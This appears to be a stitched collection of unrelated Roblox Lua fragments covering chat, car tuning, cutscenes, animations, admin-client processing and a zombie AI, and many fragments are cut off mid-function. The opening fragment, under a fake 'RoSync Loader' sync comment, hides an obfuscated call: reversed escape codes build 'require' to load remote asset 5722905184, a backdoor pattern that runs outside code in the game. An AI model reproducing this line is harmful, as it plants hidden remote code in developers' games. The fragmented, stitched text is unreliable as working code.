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--[[ Last synced 4/6/2021 12:00 RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
|
---Creator function return object keys
|
local KEY_BASE_FRAME = "BaseFrame"
local KEY_BASE_MESSAGE = "BaseMessage"
local KEY_UPDATE_TEXT_FUNC = "UpdateTextFunction"
local KEY_GET_HEIGHT = "GetHeightFunction"
local KEY_FADE_IN = "FadeInFunction"
local KEY_FADE_OUT = "FadeOutFunction"
local KEY_UPDATE_ANIMATION = "UpdateAnimFunction"
local TextService = game:GetService("TextService")
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
while not LocalPlayer do
Players.ChildAdded:Wait()
LocalPlayer = Players.LocalPlayer
end
local clientChatModules = script.Parent.Parent
local ChatSettings = require(clientChatModules:WaitForChild("ChatSettings"))
local ChatConstants = require(clientChatModules:WaitForChild("ChatConstants"))
local okShouldClipInGameChat, valueShouldClipInGameChat = pcall(function() return UserSettings():IsUserFeatureEnabled("UserShouldClipInGameChat") end)
local shouldClipInGameChat = okShouldClipInGameChat and valueShouldClipInGameChat
local module = {}
local methods = {}
methods.__index = methods
function methods:GetStringTextBounds(text, font, textSize, sizeBounds)
sizeBounds = sizeBounds or Vector2.new(10000, 10000)
return TextService:GetTextSize(text, textSize, font, sizeBounds)
end
|
--[[Engine]]
|
--Torque Curve
Tune.Horsepower = 900 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 1000 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 8000 -- Use sliders to manipulate values
Tune.Redline = 8500 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 7000
Tune.PeakSharpness = 2.9
Tune.CurveMult = 0.09
--Incline Compensation
Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 450 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 200 -- Clutch engagement threshold (higher = faster response)
|
--[=[
Constructs a new BasicPane with the .Gui property set.
@param gui GuiBase? -- Optional Gui object
@return BasicPane
]=]
|
function BasicPane.new(gui)
local self = setmetatable({}, BasicPane)
self._maid = Maid.new()
self.Maid = self._maid
self._visible = false
self.VisibleChanged = Signal.new() -- :Fire(isVisible, doNotAnimate, maid)
self._maid:GiveTask(self.VisibleChanged)
if gui then
self._gui = gui
self.Gui = gui
self._maid:GiveTask(gui)
end
return self
end
|
--[[---------------- CLIENT -----------------]]
|
--
local ply = game.Players:GetPlayerFromCharacter(script.Parent.Parent)
local char = ply.Character or ply.CharacterAdded:wait()
local hum = char.Humanoid
local hrp = char.HumanoidRootPart
local plyGui = ply.PlayerGui
|
-- Loading
|
local CutsceneFolder = workspace.Cutscenes:WaitForChild("startup") -- The folder that contains the cutscene data (Cameras...)
local Destroy = true -- Destroy folder after loading? you don't want your player to see your cameras floating around!
local NoYield = false -- Generally you want this to be set to false, because loading takes a little bit of time, and you don't want to interact with the cutscene when it's not loaded
local SafeMode = true -- This is adviced to be turned on, especially if the cutscene folder data is too big to load at one frame. when turned on, it loads a camera every frame, not all at once.
local Cutscene = require(CutsceneModule)
local Demo = Cutscene.new(Camera, Looping, Speed, FreezeControls) -- Create cutscene
Demo:Load(CutsceneFolder, Destroy, NoYield, SafeMode) -- Load cutscene data from folder
local PlayOnPartTouch = script:FindFirstChild("PlayOnPartTouch")
local PlayOnPlayerJoin = script:FindFirstChild("PlayOnPlayerJoin")
local PlayOnCharacterAdded = script:FindFirstChild("PlayOnCharacterAdded")
local PlayOnCharacterDied = script:FindFirstChild("PlayOnCharacterDied")
local PlayOnEventFire = script:FindFirstChild("PlayOnEventFire")
local PlayOnRemoteEventFire = script:FindFirstChild("PlayOnRemoteEventFire")
local ProtectTheCharacterWhilePlaying = script:FindFirstChild("ProtectTheCharacterWhilePlaying")
local CharacterProtector = script:FindFirstChild("CharacterProtector")
local Music = script:FindFirstChild("Music")
local StopMusicWhenFinished = script:FindFirstChild("StopMusicWhenFinished")
local StopOnEventFire = script:FindFirstChild("StopOnEventFire")
local StopOnRemoteEventFire = script:FindFirstChild("StopOnRemoteEventFire")
local PlayOnce = script:FindFirstChild("PlayOnce")
local Debounce = script:FindFirstChild("Cooldown")
local OnFinishedRemove = script:FindFirstChild("OnFinishedRemove")
local bin = true
local Player = game:GetService("Players").LocalPlayer
local CutsceneGui = script:FindFirstChild("Cutscene")
|
-- When you're done make sure to uncheck the 'Disabled' behaviour on this script under Properties!
| |
-- goro7
|
local plr = game.Players.LocalPlayer
game.ReplicatedStorage.Interactions.Client.ShowWelcomeScreen.OnClientEvent:connect(function()
-- Show the welcome screen (if not visible)
if not plr.PlayerGui.MainGui.Welcome.Visible then
plr.PlayerGui.MainGui.Welcome.Show:Fire()
end
end)
|
--// Variables
|
local L_1_ = script.Parent
local L_2_ = game.Players.LocalPlayer
local L_3_ = L_2_.Character
local L_4_ = L_2_:GetMouse()
local L_5_ = workspace.CurrentCamera
local L_6_ = L_3_:WaitForChild('Torso')
local L_7_ = L_3_:WaitForChild('Head')
local L_8_ = L_3_:WaitForChild('HumanoidRootPart')
local L_9_ = L_8_:WaitForChild('RootJoint')
local L_10_ = L_6_:WaitForChild('Right Hip')
local L_11_ = L_6_:WaitForChild('Left Hip')
|
--//Services//--
|
local Players = game:GetService("Players")
local Lighting = game:GetService("Lighting")
local TweenService = game:GetService("TweenService")
local BadgeService = game:GetService("BadgeService")
local Debris = game:GetService("Debris")
|
-- Close:Play()
|
script.Parent.Handle.sound_close:Play()
script.Parent.EffectsHolder.AttachOff.Flick.Enabled = true
script.Parent.EffectsHolder.AttachOff.SmokeOff.Enabled = true
script.Parent.EffectsHolder.AttachOff.Flick.Enabled = false
script.Parent.EffectsHolder.AttachOff.SmokeOff.Enabled = false
script.Parent.EffectsHolder.AttachOn.MainLight.Enabled = false
script.Parent.EffectsHolder.AttachOn.SmallLight.Enabled = false
script.Parent.EffectsHolder.AttachOn.SmallLight2.Enabled = false
script.Parent.EffectsHolder.AttachOn.SmallLight3.Enabled = false
script.Parent.EffectsHolder.AttachOn.FireParticles.Enabled = false
|
---New Variables
|
local V01 = 0
local V02 = 0
local m1 = car.Misc.Hinges.Hinge:WaitForChild("ENGINE")
local m2 = car.Misc.ActualCam.Hinge:WaitForChild("ENGINE")
local Sus = car.Wheels.RR.SuspensionGeometry:WaitForChild("Spring")
local Sus2 = car.Wheels.RL.SuspensionGeometry:WaitForChild("Spring")
local Sus3 = car.Wheels.FR.SuspensionGeometry:WaitForChild("Spring")
local Sus4 = car.Wheels.FL.SuspensionGeometry:WaitForChild("Spring")
|
-- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote
|
local emoteNames = { wave = false, point = false, dance1 = true, dance2 = true, dance3 = true, laugh = false, cheer = false}
function configureAnimationSet(name, fileList)
if (animTable[name] ~= nil) then
for _, connection in pairs(animTable[name].connections) do
connection:disconnect()
end
end
animTable[name] = {}
animTable[name].count = 0
animTable[name].totalWeight = 0
animTable[name].connections = {}
-- check for config values
local config = script:FindFirstChild(name)
if (config ~= nil) then
--print("Loading anims " .. name)
table.insert(animTable[name].connections, config.ChildAdded:connect(function(child) configureAnimationSet(name, fileList) end))
table.insert(animTable[name].connections, config.ChildRemoved:connect(function(child) configureAnimationSet(name, fileList) end))
local idx = 1
for _, childPart in pairs(config:GetChildren()) do
if (childPart:IsA("Animation")) then
table.insert(animTable[name].connections, childPart.Changed:connect(function(property) configureAnimationSet(name, fileList) end))
animTable[name][idx] = {}
animTable[name][idx].anim = childPart
local weightObject = childPart:FindFirstChild("Weight")
if (weightObject == nil) then
animTable[name][idx].weight = 1
else
animTable[name][idx].weight = weightObject.Value
end
animTable[name].count = animTable[name].count + 1
animTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight
--print(name .. " [" .. idx .. "] " .. animTable[name][idx].anim.AnimationId .. " (" .. animTable[name][idx].weight .. ")")
idx = idx + 1
end
end
end
-- fallback to defaults
if (animTable[name].count <= 0) then
for idx, anim in pairs(fileList) do
animTable[name][idx] = {}
animTable[name][idx].anim = Instance.new("Animation")
animTable[name][idx].anim.Name = name
animTable[name][idx].anim.AnimationId = anim.id
animTable[name][idx].weight = anim.weight
animTable[name].count = animTable[name].count + 1
animTable[name].totalWeight = animTable[name].totalWeight + anim.weight
--print(name .. " [" .. idx .. "] " .. anim.id .. " (" .. anim.weight .. ")")
end
end
end
|
--// Processing
|
return function()
local _G, game, script, getfenv, setfenv, workspace,
getmetatable, setmetatable, loadstring, coroutine,
rawequal, typeof, print, math, warn, error, pcall,
xpcall, select, rawset, rawget, ipairs, pairs,
next, Rect, Axes, os, time, Faces, unpack, string, Color3,
newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor,
NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint,
NumberSequenceKeypoint, PhysicalProperties, Region3int16,
Vector3int16, require, table, type, wait,
Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay =
_G, game, script, getfenv, setfenv, workspace,
getmetatable, setmetatable, loadstring, coroutine,
rawequal, typeof, print, math, warn, error, pcall,
xpcall, select, rawset, rawget, ipairs, pairs,
next, Rect, Axes, os, time, Faces, unpack, string, Color3,
newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor,
NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint,
NumberSequenceKeypoint, PhysicalProperties, Region3int16,
Vector3int16, require, table, type, wait,
Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay
local script = script
local service = service
local client = client
local Anti, Core, Functions, Process, Remote, UI, Variables
local function Init()
UI = client.UI;
Anti = client.Anti;
Core = client.Core;
Variables = client.Variables
Functions = client.Functions;
Process = client.Process;
Remote = client.Remote;
Process.Init = nil;
end
local function RunLast()
--[[client = service.ReadOnly(client, {
[client.Variables] = true;
[client.Handlers] = true;
G_API = true;
G_Access = true;
G_Access_Key = true;
G_Access_Perms = true;
Allowed_API_Calls = true;
HelpButtonImage = true;
Finish_Loading = true;
RemoteEvent = true;
ScriptCache = true;
Returns = true;
PendingReturns = true;
EncodeCache = true;
DecodeCache = true;
Received = true;
Sent = true;
Service = true;
Holder = true;
GUIs = true;
LastUpdate = true;
RateLimits = true;
Init = true;
RunLast = true;
RunAfterInit = true;
RunAfterLoaded = true;
RunAfterPlugins = true;
}, true)--]]
Process.RunLast = nil;
end
local function RunAfterLoaded(data)
--// Events
--service.NetworkClient.ChildRemoved:Connect(function() wait(30) client.Anti.Detected("crash", "Network client disconnected") end)
--service.NetworkClient.ChildAdded:Connect(function() client.Anti.Detected("crash", "Network client reconnected?") end)
service.Player.Chatted:Connect(service.EventTask("Event: ProcessChat", Process.Chat))
service.Player.CharacterRemoving:Connect(service.EventTask("Event: CharacterRemoving", Process.CharacterRemoving))
service.Player.CharacterAdded:Connect(service.Threads.NewEventTask("Event: CharacterAdded", Process.CharacterAdded))
service.LogService.MessageOut:Connect(Process.LogService) --service.Threads.NewEventTask("EVENT:MessageOut",client.Process.LogService,60))
service.ScriptContext.Error:Connect(Process.ErrorMessage) --service.Threads.NewEventTask("EVENT:ErrorMessage",client.Process.ErrorMessage,60))
--// Get RateLimits
Process.RateLimits = Remote.Get("RateLimits") or Process.RateLimits;
Process.RunAfterLoaded = nil;
end
getfenv().client = nil
getfenv().service = nil
getfenv().script = nil
client.Process = {
Init = Init;
RunLast = RunLast;
RunAfterLoaded = RunAfterLoaded;
RateLimits = { --// Defaults; Will be updated with server data at client run
Remote = 0.02;
Command = 0.1;
Chat = 0.1;
RateLog = 10;
};
Remote = function(data,com,...)
local args = {...}
Remote.Received = Remote.Received+1
if type(com) == "string" then
if com == client.DepsName.."GIVE_KEY" then
if not Core.Key then
log("~! Set remote key")
Core.Key = args[1]
log("~! Call Finish_Loading()")
client.Finish_Loading()
end
elseif Remote.UnEncrypted[com] then
return {Remote.UnEncrypted[com](...)}
elseif Core.Key then
local comString = Remote.Decrypt(com,Core.Key)
local command = (data.Mode == "Get" and Remote.Returnables[comString]) or Remote.Commands[comString]
if command then
--local ran,err = pcall(command, args) --task service.Threads.RunTask("REMOTE:"..comString,command,args)
local rets = {service.TrackTask("Remote: ".. comString, command, args)}
if not rets[1] then
logError(rets[2])
else
return {unpack(rets, 2)};
end
end
end
end
end;
LogService = function(Message, Type)
--service.FireEvent("Output", Message, Type)
end;
ErrorMessage = function(Message, Trace, Script)
--service.FireEvent("ErrorMessage", Message, Trace, Script)
if Message and Message ~= "nil" and Message ~= "" and (string.find(Message,":: Adonis ::") or string.find(Message,script.Name) or Script == script) then
logError(tostring(Message).." - "..tostring(Trace))
end
--if (Script == nil or (not Trace or Trace == "")) and not (Trace and string.find(Trace,"CoreGui.RobloxGui")) then
--Anti.Detected("log","Scriptless/Traceless error found. Script: "..tostring(Script).." - Trace: "..tostring(Trace))
--end
end;
Chat = function(msg)
--service.FireEvent("Chat",msg)
if not service.Player or service.Player.Parent ~= service.Players then
Remote.Fire("ProcessChat",msg)
end
end;
CharacterAdded = function(...)
service.Events.CharacterAdded:Fire(...)
wait();
UI.GetHolder()
end;
CharacterRemoving = function()
if Variables.UIKeepAlive then
for ind,g in next,client.GUIs do
if g.Class == "ScreenGui" or g.Class == "GuiMain" or g.Class == "TextLabel" then
if not (g.Object:IsA("ScreenGui") and not g.Object.ResetOnSpawn) and g.CanKeepAlive then
g.KeepAlive = true
g.KeepParent = g.Object.Parent
g.Object.Parent = nil
elseif not g.CanKeepAlive then
pcall(g.Destroy, g)
end
end
end
end
if Variables.GuiViewFolder then
Variables.GuiViewFolder:Destroy()
Variables.GuiViewFolder = nil
end
if Variables.ChatEnabled then
service.StarterGui:SetCoreGuiEnabled("Chat",true)
end
if Variables.PlayerListEnabled then
service.StarterGui:SetCoreGuiEnabled('PlayerList',true)
end
local textbox = service.UserInputService:GetFocusedTextBox()
if textbox then
textbox:ReleaseFocus()
end
service.Events.CharacterRemoving:Fire()
end
}
end
|
--this script makes the WindMill thingy spin.
|
spinning = script.Parent
while true do
spinning.CFrame = spinning.CFrame * CFrame.fromEulerAnglesXYZ(0, math.rad(0),0.005)--0.005 is recommended (Higher makes it faster),(Lower is slower)
wait(0.00)
end
|
--[[ Touch Events ]]
|
--
UserInputService.Changed:connect(function(property)
if property == 'ModalEnabled' then
IsModalEnabled = UserInputService.ModalEnabled
if lastInputType == Enum.UserInputType.Touch then
if ControlState.Current == ControlModules.Touch and IsModalEnabled then
ControlState:SwitchTo(nil)
elseif ControlState.Current == nil and not IsModalEnabled then
ControlState:SwitchTo(ControlModules.Touch)
end
end
end
end)
if FFlagUserNoCameraClickToMove then
BindableEvent_OnFailStateChanged = MasterControl:GetClickToMoveFailStateChanged()
end
if BindableEvent_OnFailStateChanged then
BindableEvent_OnFailStateChanged.Event:connect(function(isOn)
if lastInputType == Enum.UserInputType.Touch and ClickToMoveTouchControls then
if isOn then
ControlState:SwitchTo(ClickToMoveTouchControls)
else
ControlState:SwitchTo(nil)
end
end
end)
end
local switchToInputType = function(newLastInputType)
lastInputType = newLastInputType
if VRService.VREnabled then
ControlState:SwitchTo(ControlModules.VRNavigation)
return
end
if lastInputType == Enum.UserInputType.Touch then
ControlState:SwitchTo(ControlModules.Touch)
elseif lastInputType == Enum.UserInputType.Keyboard or
lastInputType == Enum.UserInputType.MouseButton1 or
lastInputType == Enum.UserInputType.MouseButton2 or
lastInputType == Enum.UserInputType.MouseButton3 or
lastInputType == Enum.UserInputType.MouseWheel or
lastInputType == Enum.UserInputType.MouseMovement then
ControlState:SwitchTo(ControlModules.Keyboard)
elseif lastInputType == Enum.UserInputType.Gamepad1 or
lastInputType == Enum.UserInputType.Gamepad2 or
lastInputType == Enum.UserInputType.Gamepad3 or
lastInputType == Enum.UserInputType.Gamepad4 then
ControlState:SwitchTo(ControlModules.Gamepad)
end
end
if IsTouchDevice then
createTouchGuiContainer()
end
MasterControl:Init()
UserInputService.GamepadDisconnected:connect(function(gamepadEnum)
local connectedGamepads = UserInputService:GetConnectedGamepads()
if #connectedGamepads > 0 then return end
if not VRService.VREnabled then
if UserInputService.KeyboardEnabled then
ControlState:SwitchTo(ControlModules.Keyboard)
elseif IsTouchDevice then
ControlState:SwitchTo(ControlModules.Touch)
end
end
end)
UserInputService.GamepadConnected:connect(function(gamepadEnum)
if not VRService.VREnabled then
ControlState:SwitchTo(ControlModules.Gamepad)
end
end)
switchToInputType(UserInputService:GetLastInputType())
UserInputService.LastInputTypeChanged:connect(switchToInputType)
VRService.Changed:connect(function(prop)
if prop ~= "VREnabled" then
return
end
if VRService.VREnabled then
ControlState:SwitchTo(ControlModules.VRNavigation)
end
end)
|
-- ROBLOX FIXME: add type constraint <EachCallback extends TestCallback>
|
export type EachTestFn<EachCallback> = (...any) -> ReturnType<EachCallback>
|
--[=[
Reverses the list and returns the reversed copy
@param orig table -- Original table
@return table
]=]
|
function Table.reverse(orig)
local new = {}
for i=#orig, 1, -1 do
table.insert(new, orig[i])
end
return new
end
|
-- Gradually regenerates the Humanoid's Health over time.
|
local Character = script.Parent
local Humanoid = Character:WaitForChild'Humanoid'
Humanoid.MaxHealth = 130
local val = 130
local REGEN_RATE = .3/100 -- Regenerate this fraction of MaxHealth per second.
local REGEN_STEP = .25 -- Wait this long between each regeneration step.
|
-- Use the script's attributes as the default settings.
-- The table provided is a fallback if the attributes
-- are undefined or using the wrong value types.
|
local DEFAULT_SETTINGS = Settings.new(script, {
WindDirection = Vector3.new(0.5, 0, 0.5);
WindSpeed = 20;
WindPower = 0.5;
})
|
--local HUB = script.Parent.HUB
--local limitButton = HUB.Limiter
|
local carSeat = script.Parent.Car.Value
local mouse = game.Players.LocalPlayer:GetMouse()
mouse.KeyDown:connect(function (key)
key = string.lower(key)
|
--------RIGHT DOOR --------
|
game.Workspace.doorright.l13.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l23.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l33.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l43.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l53.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l63.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l73.BrickColor = BrickColor.new(1003)
|
-- end
-- end
--end
|
function brakes()
if Values.Brake.Value > 0.01 then
LightEvent:FireServer("BrakeLights", Rear_Light_Type, Brake_Light_Brightness, 0.02, Trunk_Lights)
else
LightEvent:FireServer("BrakeLights", Rear_Light_Type, 0, 1, Trunk_Lights)
end
end
function reverse()
if Values.Gear.Value == -1 then
LightEvent:FireServer("Reverse", Reverse_Light_Type, Reverse_Light_Brightness, 0.02, Trunk_Lights)
else
LightEvent:FireServer("Reverse", Reverse_Light_Type, 0, 1, Trunk_Lights)
end
end
function leavedriveseat()
LightEvent:FireServer("IndsOnLeave", LI.Value, RI.Value, H.Value, Sequential_Indicators, Sequential_Segments, Indicator_Flash_Rate, Indicator_Type)
end
|
--- Window handles the command bar GUI
|
local Window = {
Valid = true,
AutoComplete = nil,
ProcessEntry = nil,
OnTextChanged = nil,
Cmdr = nil,
HistoryState = nil,
}
local Gui = Player:WaitForChild("PlayerGui"):WaitForChild("Cmdr"):WaitForChild("Frame")
local Line = Gui:WaitForChild("Line")
local Entry = Gui:WaitForChild("Entry")
Line.Parent = nil
|
-- More to come soon....
| |
--< Player Resetting >--
|
Player.CharacterAdded:Connect(function(Char)
Humanoid = Char:FindFirstChildWhichIsA("Humanoid") or Char:WaitForChild("Humanoid")
end)
|
--[[ Initialization/Setup ]]
|
--
local function createTouchGuiContainer()
if TouchGui then TouchGui:Destroy() end
-- Container for all touch device guis
TouchGui = Instance.new('ScreenGui')
TouchGui.Name = "TouchGui"
TouchGui.ResetOnSpawn = false
TouchGui.Parent = PlayerGui
TouchControlFrame = Instance.new('Frame')
TouchControlFrame.Name = "TouchControlFrame"
TouchControlFrame.Size = UDim2.new(1, 0, 1, 0)
TouchControlFrame.BackgroundTransparency = 1
TouchControlFrame.Parent = TouchGui
ThumbstickModule:Create(TouchControlFrame)
DPadModule:Create(TouchControlFrame)
ThumbpadModule:Create(TouchControlFrame)
TouchJumpModule:Create(TouchControlFrame)
DynamicThumbstickModule:Create(TouchControlFrame)
end
|
--local Slash = hammer:WaitForChild("Slash") -- Insert an animation in the tool
|
local db = false -- This is a cooldown!
|
--print("player and not building")
|
target = nearestPlayer
targetType = nearestPlayer.ClassName
lastLock = tick()
elseif nearestBuilding and not nearestPlayer then
|
--- SERVICES/DIRECTORIES ---
|
Players = game:GetService("Players")
ServerScriptService = game:GetService("ServerScriptService")
ServerStorage = game:GetService("ServerStorage")
ReplicatedStorage = game:GetService("ReplicatedStorage")
TweenService = game:GetService("TweenService")
|
--Function For Making New Ray Bricks
|
function makeRay(cframe, size)
local p = Instance.new("Part")
p.Name = "RayPart"
p.BrickColor = BrickColor.new("Bright green")
p.Transparency = 0.5
p.Anchored = true
p.CanCollide = false
p.TopSurface = Enum.SurfaceType.Smooth
p.BottomSurface = Enum.SurfaceType.Smooth
p.formFactor = Enum.FormFactor.Custom
p.CFrame = cframe
p.Size = size
p.Parent = m
ignoreList[#ignoreList+1] = p
end
round = Instance.new("Part")
round.Name = "RayPart"
round.Transparency = 0.5
round.Anchored = true
round.CanCollide = false
round.TopSurface = Enum.SurfaceType.Smooth
round.BottomSurface = Enum.SurfaceType.Smooth
round.formFactor = Enum.FormFactor.Custom
round.BrickColor = BrickColor.new("Black")
yOffset = -0.2
|
-- Made by the owner of Kiwami Development
|
repeat wait() until char ~= nil
while wait() do
local health = char.Health
local f = health/100
script.Parent.HP.Value = health
script.Parent.HealthBar:TweenSize(UDim2.new(f,0,0.654,0),"Out","Quint",0.25)
script.Parent.TextLabel.Text = "+ "..script.Parent.HP.Value
script.Parent.PlayerLabel.Text = plr.DisplayName
if health <= 5 then
script.Parent.HealthBar.BackgroundColor3 = Color3.fromRGB(94, 0, 0)
script.Parent.TextLabel.TextColor3 = Color3.fromRGB(94, 0, 0)
script.Parent.PlayerLabel.TextColor3 = Color3.fromRGB(94, 0, 0)
script.Parent.HP.Value = "5"
elseif health <= 20 then
script.Parent.HealthBar.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
script.Parent.TextLabel.TextColor3 = Color3.fromRGB(255, 0, 0)
script.Parent.PlayerLabel.TextColor3 = Color3.fromRGB(255, 0, 0)
script.Parent.HP.Value = "20"
elseif health <= 50 then
script.Parent.HealthBar.BackgroundColor3 = Color3.fromRGB(255, 85, 0)
script.Parent.TextLabel.TextColor3 = Color3.fromRGB(255, 85, 0)
script.Parent.PlayerLabel.TextColor3 = Color3.fromRGB(255, 85, 0)
script.Parent.HP.Value = "50"
elseif health <= 75 then
script.Parent.HealthBar.BackgroundColor3 = Color3.fromRGB(255, 183, 0)
script.Parent.TextLabel.TextColor3 = Color3.fromRGB(255, 183, 0)
script.Parent.PlayerLabel.TextColor3 = Color3.fromRGB(255, 183, 0)
script.Parent.HP.Value = "75"
elseif health > 75 then
script.Parent.HealthBar.BackgroundColor3 = Color3.fromRGB(0, 200, 255)
script.Parent.TextLabel.TextColor3 = Color3.fromRGB(0, 200, 255)
script.Parent.PlayerLabel.TextColor3 = Color3.fromRGB(0, 200, 255)
script.Parent.HP.Value = "75"
end
if health == 0 then
script.Parent.HP.Value = "0"
end
end
function HealthChanged(health)
end
char.HealthChanged:connect(HealthChanged)
if error then
script:reload()
end
|
-- ROBLOX FIXME Luau: should infer this function a Plugin | nil, with no warnings
|
local function findPlugin(plugins: Plugins, val: any): Plugin | nil
for _, p in ipairs(plugins) do
local ok, ret = pcall(p.test, val)
if not ok then
error(PrettyFormatPluginError(ret))
elseif ret then
return p
end
end
return nil
end
function printer(
val: any,
config: Config,
indentation: string,
depth: number,
refs: Refs,
hasCalledToJSON: boolean?
): string
local plugin_ = findPlugin(config.plugins, val)
if plugin_ ~= nil then
return printPlugin(plugin_, val, config, indentation, depth, refs)
end
local basicResult = printBasicValue(val, config.printFunctionName, config.escapeRegex, config.escapeString)
if basicResult ~= nil then
return basicResult
end
return printComplexValue(val, config, indentation, depth, refs, hasCalledToJSON)
end
|
-- Requires
|
local PartUtility = require(ReplicatedStorage.Common.PartUtility)
local APICombat = require(ReplicatedStorage.Common.APICombat)
local DamageInfo = require(ReplicatedStorage.Common.APICombat.DamageInfo)
local WeaponDefinitionLoader = require(ReplicatedStorage.Common.WeaponDefintionLoader)
|
-----------------------------------------------------------------------------------------------
|
script.Parent:WaitForChild("Gear")
script.Parent:WaitForChild("Speed")
script.Parent:WaitForChild("Needle")
script.Parent:WaitForChild("Brake")
local player=game.Players.LocalPlayer
local mouse=player:GetMouse()
local car = script.Parent.Parent.Parent.Car.Value
car.DriveSeat.HeadsUpDisplay = false
local _Tune = require(car["A-Chassis Tune"])
local _pRPM = _Tune.PeakRPM
local _lRPM = _Tune.Redline
local currentUnits = 0
local revEnd = math.ceil(_lRPM/1000)
script.Parent.Parent.Parent.Values.Gear.Changed:connect(function()
local gearText = script.Parent.Parent.Parent.Values.Gear.Value
if gearText == 0 then gearText = "N"
elseif gearText == -1 then gearText = "R"
end
script.Parent.Gear.Text = gearText
end)
script.Parent.Parent.Parent.Values.RPM.Changed:connect(function()
script.Parent.Needle.Rotation = 230 * math.min(1,script.Parent.Parent.Parent.Values.RPM.Value / (revEnd*1000))
end)
script.Parent.Parent.Parent.Values.Velocity.Changed:connect(function(property)
script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Parent.Values.Velocity.Value.Magnitude)
end)
local function nextUnity ()
if currentUnits==#UNITS then
currentUnits = 1
else
currentUnits = currentUnits+1
end
script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Parent.Values.Velocity.Value.Magnitude)
script.Parent.Unit.Text = UNITS[currentUnits].units
end
script.Parent.Speed.MouseButton1Click:connect(function()
nextUnity()
end)
nextUnity()
script.Parent.Parent.Parent.Values.PBrake.Changed:connect(function()
script.Parent.Brake.Visible = script.Parent.Parent.Parent.Values.PBrake.Value
end)
wait(.1)
|
-- Knit modifies roblox-lua-promise to add PascalCase API
|
Promise.Defer = Promise.defer
Promise.Async = Promise.defer
Promise.Resolve = Promise.resolve
Promise.Reject = Promise.reject
Promise.Try = Promise.try
Promise.All = Promise.all
Promise.Some = Promise.some
Promise.Any = Promise.any
Promise.AllSettled = Promise.allSettled
Promise.Race = Promise.race
Promise.Each = Promise.each
Promise.Is = Promise.is
Promise.Promisify = Promise.promisify
Promise.Delay = Promise.delay
Promise.prototype.Timeout = Promise.prototype.timeout
Promise.prototype.GetStatus = Promise.prototype.getStatus
Promise.prototype.AndThen = Promise.prototype.andThen
Promise.prototype.Then = Promise.prototype.andThen
Promise.prototype.Catch = Promise.prototype.catch
Promise.prototype.Tap = Promise.prototype.tap
Promise.prototype.AndThenCall = Promise.prototype.andThenCall
Promise.prototype.ThenCall = Promise.prototype.andThenCall
Promise.prototype.AndThenReturn = Promise.prototype.andThenReturn
Promise.prototype.ThenReturn = Promise.prototype.andThenReturn
Promise.prototype.Cancel = Promise.prototype.cancel
Promise.prototype.Finally = Promise.prototype.finally
Promise.prototype.FinallyCall = Promise.prototype.finallyCall
Promise.prototype.FinallyReturn = Promise.prototype.finallyReturn
Promise.prototype.Done = Promise.prototype.done
Promise.prototype.DoneCall = Promise.prototype.doneCall
Promise.prototype.DoneReturn = Promise.prototype.doneReturn
Promise.prototype.AwaitStatus = Promise.prototype.awaitStatus
Promise.prototype.Await = Promise.prototype.await
Promise.prototype.Expect = Promise.prototype.expect
Promise.prototype.AwaitValue = Promise.prototype.expect
Promise.prototype.Now = Promise.prototype.now
Promise.Retry = Promise.retry
Promise.FromEvent = Promise.fromEvent
return Promise
|
--game.Players.LocalPlayer:LoadCharacter()
|
script:Destroy()
|
--]]
|
function getHumanoid(model)
for _, v in pairs(model:GetChildren()) do
if v:IsA'Humanoid' then
return v
end
end
end
local zombie = script.Parent
local human = getHumanoid(zombie)
local hroot = zombie.HumanoidRootPart
local zspeed = hroot.Velocity.magnitude
local pfs = game:GetService("PathfindingService")
function GetPlayerNames()
local players = game:GetService('Players'):GetChildren()
local name = nil
for _, v in pairs(players) do
if v:IsA'Player' then
name = tostring(v.Name)
end
end
return name
end
function GetPlayersBodyParts(t)
local torso = t
if torso then
local figure = torso.Parent
for _, v in pairs(figure:GetChildren()) do
if v:IsA'Part' then
return v.Name
end
end
else
return "HumanoidRootPart"
end
end
function GetTorso(part)
local chars = game.Workspace:GetChildren()
local torso = nil
for _, v in pairs(chars) do
if v:IsA'Model' and v ~= script.Parent and v.Name == GetPlayerNames() then
local charRoot = v:FindFirstChild'HumanoidRootPart'
if (charRoot.Position - part).magnitude < SearchDistance then
torso = charRoot
end
end
end
return torso
end
for _, zambieparts in pairs(zombie:GetChildren()) do
if zambieparts:IsA'Part' then
zambieparts.Touched:connect(function(p)
if p.Parent.Name == GetPlayerNames() and p.Parent.Name ~= zombie.Name then -- damage
local enemy = p.Parent
local enemyhuman = getHumanoid(enemy)
enemyhuman:TakeDamage(ZombieDamage)
end
end)
end
end
|
-- print(animName .. " " .. idx .. " [" .. origRoll .. "]")
|
local anim = animTable[animName][idx].anim
-- switch animation
if (anim ~= currentAnimInstance) then
if (currentAnimTrack ~= nil) then
currentAnimTrack:Stop(transitionTime)
currentAnimTrack:Destroy()
end
currentAnimSpeed = 1.0
-- load it to the humanoid; get AnimationTrack
currentAnimTrack = humanoid:LoadAnimation(anim)
-- play the animation
currentAnimTrack:Play(transitionTime)
currentAnim = animName
